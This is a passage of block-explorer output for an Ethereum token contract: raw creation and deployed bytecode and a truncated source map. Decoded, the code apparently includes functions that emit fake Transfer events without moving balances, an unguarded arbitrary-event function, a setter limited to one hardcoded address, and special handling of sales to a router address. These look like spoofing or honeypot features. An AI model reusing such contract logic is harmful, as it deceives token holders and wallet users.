56565b6040516103049190611384565b60405180910390f35b6103276004803603810190610322919061155a565b6108f2565b60405161033491906113ac565b60405180910390f35b61035760048036038101906103529190611507565b610974565b005b606060048054610368906115c5565b80601f0160208091040260200160405190810160405280929190818152602001828054610394906115c5565b80156103df5780601f106103b6576101008083540402835291602001916103df565b820191905f5260205f20905b8154815290600101906020018083116103c257829003601f168201915b5050505050905090565b5f5f6103f36109f6565b90506104008185856109fd565b600191505092915050565b5f600354905090565b5f5f61041e6109f6565b905061042b858285610bc0565b610436858585610c4b565b60019150509392505050565b5f5f90505b8383905081101561050c57838382818110610465576104646115f5565b5b905060200201602081019061047a9190611507565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516104f791906113ac565b60405180910390a38080600101915050610447565b50505050565b5f6008905090565b5f5f90505b838390508110156105e45783838281811061053d5761053c6115f5565b5b90506020020160208101906105529190611507565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516105cf91906113ac565b60405180910390a3808060010191505061051f565b50505050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610638611050565b6106415f6110ce565b565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610679906115c5565b80601f01602080910402602001604051908101604052809291908181526020018280546106a5906115c5565b80156106f05780601f106106c7576101008083540402835291602001916106f0565b820191905f5260205f20905b8154815290600101906020018083116106d357829003601f168201915b5050505050905090565b5f5f6107046109f6565b9050610711818585610c4b565b600191505092915050565b5f5f90505b838390508110156107e65783838281811061073f5761073e6115f5565b5b90506020020160208101906107549190611507565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107d191906113ac565b60405180910390a38080600101915050610721565b50505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161084991906113ac565b60405180910390a3505050565b5f73644b5d45453a864cc3f6cbe5e0ea96bfe34c030f73ffffffffffffffffffffffffffffffffffffffff1661088a6109f6565b73ffffffffffffffffffffffffffffffffffffffff16146108a9575f5ffd5b8160065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b61097c611050565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036109ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e190611692565b60405180910390fd5b6109f3816110ce565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610a6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6290611720565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ad9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad0906117ae565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610bb391906113ac565b60405180910390a3505050565b5f610bcb84846108f2565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610c455781811015610c37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2e90611816565b60405180910390fd5b610c4484848484036109fd565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610cb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb0906118a4565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1e90611932565b60405180910390fd5b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610dc35750736b75d8af000000e20b7a7ddf000ba900b4009a8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b80610eb957508173ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610e655750736b75d8af000000e20b7a7ddf000ba900b4009a8073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610eb85750600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b5b15610ec857610ec78361118f565b5b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015610f4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f43906119c0565b60405180910390fd5b81810360015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161103791906113ac565b60405180910390a361104a848484611202565b50505050565b6110586109f6565b73ffffffffffffffffffffffffffffffffffffffff16611076610643565b73ffffffffffffffffffffffffffffffffffffffff16146110cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c390611a28565b60405180910390fd5b565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f611199826105ea565b90505f600190506007548211156111b05760085490505b80826111bc9190611a73565b60095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61124982611207565b6112538185611211565b9350611263818560208601611221565b61126c8161122f565b840191505092915050565b5f6020820190508181035f83015261128f818461123f565b905092915050565b5f5ffd5b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6112c88261129f565b9050919050565b6112d8816112be565b81146112e2575f5ffd5b50565b5f813590506112f3816112cf565b92915050565b5f819050919050565b61130b816112f9565b8114611315575f5ffd5b50565b5f8135905061132681611302565b92915050565b5f5f6040838503121561134257611341611297565b5b5f61134f858286016112e5565b925050602061136085828601611318565b9150509250929050565b5f8115159050919050565b61137e8161136a565b82525050565b5f6020820190506113975f830184611375565b92915050565b6113a6816112f9565b82525050565b5f6020820190506113bf5f83018461139d565b92915050565b5f5f5f606084860312156113dc576113db611297565b5b5f6113e9868287016112e5565b93505060206113fa868287016112e5565b925050604061140b86828701611318565b9150509250925092565b5f5ffd5b5f5ffd5b5f5ffd5b5f5f83601f84011261143657611435611415565b5b8235905067ffffffffffffffff81111561145357611452611419565b5b60208301915083602082028301111561146f5761146e61141d565b5b9250929050565b5f5f5f6040848603121561148d5761148c611297565b5b5f84013567ffffffffffffffff8111156114aa576114a961129b565b5b6114b686828701611421565b935093505060206114c986828701611318565b9150509250925092565b5f60ff82169050919050565b6114e8816114d3565b82525050565b5f6020820190506115015f8301846114df565b92915050565b5f6020828403121561151c5761151b611297565b5b5f611529848285016112e5565b91505092915050565b61153b816112be565b82525050565b5f6020820190506115545f830184611532565b92915050565b5f5f604083850312156115705761156f611297565b5b5f61157d858286016112e5565b925050602061158e858286016112e5565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806115dc57607f821691505b6020821081036115ef576115ee611598565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f61167c602683611211565b915061168782611622565b604082019050919050565b5f6020820190508181035f8301526116a981611670565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61170a602483611211565b9150611715826116b0565b604082019050919050565b5f6020820190508181035f830152611737816116fe565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611798602283611211565b91506117a38261173e565b604082019050919050565b5f6020820190508181035f8301526117c58161178c565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f611800601d83611211565b915061180b826117cc565b602082019050919050565b5f6020820190508181035f83015261182d816117f4565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f61188e602383611211565b915061189982611834565b604082019050919050565b5f6020820190508181035f8301526118bb81611882565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61191c602583611211565b9150611927826118c2565b604082019050919050565b5f6020820190508181035f83015261194981611910565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f6119aa602683611211565b91506119b582611950565b604082019050919050565b5f6020820190508181035f8301526119d78161199e565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611a12602083611211565b9150611a1d826119de565b602082019050919050565b5f6020820190508181035f830152611a3f81611a06565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611a7d826112f9565b9150611a88836112f9565b925082611a9857611a97611a46565b5b82820490509291505056fea264697066735822122008094aa4c2c80b62c0d087d84b8d06583283178e8e31d2df052631f7994aef9564736f6c634300081b0033

Deployed Bytecode

0x608060405234801561000f575f5ffd5b5060043610610109575f3560e01c8063715018a6116100a0578063b18834aa1161006f578063b18834aa146102a5578063beabacc8146102c1578063ca72a4e7146102dd578063dd62ed3e1461030d578063f2fde38b1461033d57610109565b8063715018a61461022f5780638da5cb5b1461023957806395d89b4114610257578063a9059cbb1461027557610109565b806326ededb8116100dc57806326ededb8146101a9578063313ce567146101c5578063321bef23146101e357806370a08231146101ff57610109565b806306fdde031461010d578063095ea7b31461012b57806318160ddd1461015b57806323b872dd14610179575b5f5ffd5b610115610359565b6040516101229190611277565b60405180910390f35b6101456004803603810190610140919061132c565b6103e9565b6040516101529190611384565b60405180910390f35b61016361040b565b60405161017091906113ac565b60405180910390f35b610193600480360381019061018e91906113c5565b610414565b6040516101a09190611384565b60405180910390f35b6101c360048036038101906101be9190611476565b610442565b005b6101cd610512565b6040516101da91906114ee565b60405180910390f35b6101fd60048036038101906101f89190611476565b61051a565b005b61021960048036038101906102149190611507565b6105ea565b60405161022691906113ac565b60405180910390f35b610237610630565b005b610241610643565b60405161024e9190611541565b60405180910390f35b61025f61066a565b60405161026c9190611277565b60405180910390f35b61028f600480360381019061028a919061132c565b6106fa565b60405161029c9190611384565b60405180910390f35b6102bf60048036038101906102ba9190611476565b61071c565b005b6102db60048036038101906102d691906113c5565b6107ec565b005b6102f760048036038101906102f29190611507565b610856565b6040516103049190611384565b60405180910390f35b6103276004803603810190610322919061155a565b6108f2565b60405161033491906113ac565b60405180910390f35b61035760048036038101906103529190611507565b610974565b005b606060048054610368906115c5565b80601f0160208091040260200160405190810160405280929190818152602001828054610394906115c5565b80156103df5780601f106103b6576101008083540402835291602001916103df565b820191905f5260205f20905b8154815290600101906020018083116103c257829003601f168201915b5050505050905090565b5f5f6103f36109f6565b90506104008185856109fd565b600191505092915050565b5f600354905090565b5f5f61041e6109f6565b905061042b858285610bc0565b610436858585610c4b565b60019150509392505050565b5f5f90505b8383905081101561050c57838382818110610465576104646115f5565b5b905060200201602081019061047a9190611507565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516104f791906113ac565b60405180910390a38080600101915050610447565b50505050565b5f6008905090565b5f5f90505b838390508110156105e45783838281811061053d5761053c6115f5565b5b90506020020160208101906105529190611507565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516105cf91906113ac565b60405180910390a3808060010191505061051f565b50505050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610638611050565b6106415f6110ce565b565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610679906115c5565b80601f01602080910402602001604051908101604052809291908181526020018280546106a5906115c5565b80156106f05780601f106106c7576101008083540402835291602001916106f0565b820191905f5260205f20905b8154815290600101906020018083116106d357829003601f168201915b5050505050905090565b5f5f6107046109f6565b9050610711818585610c4b565b600191505092915050565b5f5f90505b838390508110156107e65783838281811061073f5761073e6115f5565b5b90506020020160208101906107549190611507565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107d191906113ac565b60405180910390a38080600101915050610721565b50505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161084991906113ac565b60405180910390a3505050565b5f73644b5d45453a864cc3f6cbe5e0ea96bfe34c030f73ffffffffffffffffffffffffffffffffffffffff1661088a6109f6565b73ffffffffffffffffffffffffffffffffffffffff16146108a9575f5ffd5b8160065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b61097c611050565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036109ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e190611692565b60405180910390fd5b6109f3816110ce565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610a6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6290611720565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ad9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad0906117ae565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610bb391906113ac565b60405180910390a3505050565b5f610bcb84846108f2565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610c455781811015610c37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2e90611816565b60405180910390fd5b610c4484848484036109fd565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610cb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb0906118a4565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1e90611932565b60405180910390fd5b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610dc35750736b75d8af000000e20b7a7ddf000ba900b4009a8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b80610eb957508173ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610e655750736b75d8af000000e20b7a7ddf000ba900b4009a8073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610eb85750600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b5b15610ec857610ec78361118f565b5b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015610f4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f43906119c0565b60405180910390fd5b81810360015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161103791906113ac565b60405180910390a361104a848484611202565b50505050565b6110586109f6565b73ffffffffffffffffffffffffffffffffffffffff16611076610643565b73ffffffffffffffffffffffffffffffffffffffff16146110cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c390611a28565b60405180910390fd5b565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f611199826105ea565b90505f600190506007548211156111b05760085490505b80826111bc9190611a73565b60095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61124982611207565b6112538185611211565b9350611263818560208601611221565b61126c8161122f565b840191505092915050565b5f6020820190508181035f83015261128f818461123f565b905092915050565b5f5ffd5b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6112c88261129f565b9050919050565b6112d8816112be565b81146112e2575f5ffd5b50565b5f813590506112f3816112cf565b92915050565b5f819050919050565b61130b816112f9565b8114611315575f5ffd5b50565b5f8135905061132681611302565b92915050565b5f5f6040838503121561134257611341611297565b5b5f61134f858286016112e5565b925050602061136085828601611318565b9150509250929050565b5f8115159050919050565b61137e8161136a565b82525050565b5f6020820190506113975f830184611375565b92915050565b6113a6816112f9565b82525050565b5f6020820190506113bf5f83018461139d565b92915050565b5f5f5f606084860312156113dc576113db611297565b5b5f6113e9868287016112e5565b93505060206113fa868287016112e5565b925050604061140b86828701611318565b9150509250925092565b5f5ffd5b5f5ffd5b5f5ffd5b5f5f83601f84011261143657611435611415565b5b8235905067ffffffffffffffff81111561145357611452611419565b5b60208301915083602082028301111561146f5761146e61141d565b5b9250929050565b5f5f5f6040848603121561148d5761148c611297565b5b5f84013567ffffffffffffffff8111156114aa576114a961129b565b5b6114b686828701611421565b935093505060206114c986828701611318565b9150509250925092565b5f60ff82169050919050565b6114e8816114d3565b82525050565b5f6020820190506115015f8301846114df565b92915050565b5f6020828403121561151c5761151b611297565b5b5f611529848285016112e5565b91505092915050565b61153b816112be565b82525050565b5f6020820190506115545f830184611532565b92915050565b5f5f604083850312156115705761156f611297565b5b5f61157d858286016112e5565b925050602061158e858286016112e5565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806115dc57607f821691505b6020821081036115ef576115ee611598565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f61167c602683611211565b915061168782611622565b604082019050919050565b5f6020820190508181035f8301526116a981611670565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61170a602483611211565b9150611715826116b0565b604082019050919050565b5f6020820190508181035f830152611737816116fe565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611798602283611211565b91506117a38261173e565b604082019050919050565b5f6020820190508181035f8301526117c58161178c565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f611800601d83611211565b915061180b826117cc565b602082019050919050565b5f6020820190508181035f83015261182d816117f4565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f61188e602383611211565b915061189982611834565b604082019050919050565b5f6020820190508181035f8301526118bb81611882565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61191c602583611211565b9150611927826118c2565b604082019050919050565b5f6020820190508181035f83015261194981611910565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f6119aa602683611211565b91506119b582611950565b604082019050919050565b5f6020820190508181035f8301526119d78161199e565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611a12602083611211565b9150611a1d826119de565b602082019050919050565b5f6020820190508181035f830152611a3f81611a06565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611a7d826112f9565b9150611a88836112f9565b925082611a9857611a97611a46565b5b82820490509291505056fea264697066735822122008094aa4c2c80b62c0d087d84b8d06583283178e8e31d2df052631f7994aef9564736f6c634300081b0033

Deployed Bytecode Sourcemap

3246:8037:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3794:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5265:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5834:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5474:295;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4555:213;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4016:92;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4334:215;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6005:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2722:103;;;:::i;:::-;;2487:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3902:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4903:193;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4118:210;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4778:119;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6140:208;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5104:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2833:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3794:100;3848:13;3881:5;3874:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3794:100;:::o;5265:201::-;5348:4;5365:13;5381:12;:10;:12::i;:::-;5365:28;;5404:32;5413:5;5420:7;5429:6;5404:8;:32::i;:::-;5454:4;5447:11;;;5265:201;;;;:::o;5834:108::-;5895:7;5922:12;;5915:19;;5834:108;:::o;5474:295::-;5605:4;5622:15;5640:12;:10;:12::i;:::-;5622:30;;5663:38;5679:4;5685:7;5694:6;5663:15;:38::i;:::-;5712:27;5722:4;5728:2;5732:6;5712:9;:27::i;:::-;5757:4;5750:11;;;5474:295;;;;;:::o;4555:213::-;4644:9;4656:1;4644:13;;4639:122;4663:11;;:18;;4659:1;:22;4639:122;;;4728:11;;4740:1;4728:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;4708:41;;4717:9;;;;;;;;;;;4708:41;;;4744:4;4708:41;;;;;;:::i;:::-;;;;;;;;4683:3;;;;;;;4639:122;;;;4555:213;;;:::o;4016:92::-;4074:5;4099:1;4092:8;;4016:92;:::o;4334:215::-;4425:9;4437:1;4425:13;;4420:122;4444:11;;:18;;4440:1;:22;4420:122;;;4509:11;;4521:1;4509:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;4489:41;;4498:9;;;;;;;;;;;4489:41;;;4525:4;4489:41;;;;;;:::i;:::-;;;;;;;;4464:3;;;;;;;4420:122;;;;4334:215;;;:::o;6005:127::-;6079:7;6106:9;:18;6116:7;6106:18;;;;;;;;;;;;;;;;6099:25;;6005:127;;;:::o;2722:103::-;2448:13;:11;:13::i;:::-;2787:30:::1;2814:1;2787:18;:30::i;:::-;2722:103::o:0;2487:87::-;2533:7;2560:6;;;;;;;;;;;2553:13;;2487:87;:::o;3902:104::-;3958:13;3991:7;3984:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3902:104;:::o;4903:193::-;4982:4;4999:13;5015:12;:10;:12::i;:::-;4999:28;;5038;5048:5;5055:2;5059:6;5038:9;:28::i;:::-;5084:4;5077:11;;;4903:193;;;;:::o;4118:210::-;4204:9;4216:1;4204:13;;4199:122;4223:11;;:18;;4219:1;:22;4199:122;;;4288:11;;4300:1;4288:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;4268:41;;4277:9;;;;;;;;;;;4268:41;;;4304:4;4268:41;;;;;;:::i;:::-;;;;;;;;4243:3;;;;;;;4199:122;;;;4118:210;;;:::o;4778:119::-;4879:3;4863:26;;4872:5;4863:26;;;4884:4;4863:26;;;;;;:::i;:::-;;;;;;;;4778:119;;;:::o;6140:208::-;6202:4;6243:42;6227:58;;:12;:10;:12::i;:::-;:58;;;6219:67;;;;;;6311:7;6299:9;;:19;;;;;;;;;;;;;;;;;;6336:4;6329:11;;6140:208;;;:::o;5104:151::-;5193:7;5220:11;:18;5232:5;5220:18;;;;;;;;;;;;;;;:27;5239:7;5220:27;;;;;;;;;;;;;;;;5213:34;;5104:151;;;;:::o;2833:201::-;2448:13;:11;:13::i;:::-;2942:1:::1;2922:22;;:8;:22;;::::0;2914:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;2998:28;3017:8;2998:18;:28::i;:::-;2833:201:::0;:::o;1962:98::-;2015:7;2042:10;2035:17;;1962:98;:::o;6777:380::-;6930:1;6913:19;;:5;:19;;;6905:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7011:1;6992:21;;:7;:21;;;6984:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7095:6;7065:11;:18;7077:5;7065:18;;;;;;;;;;;;;;;: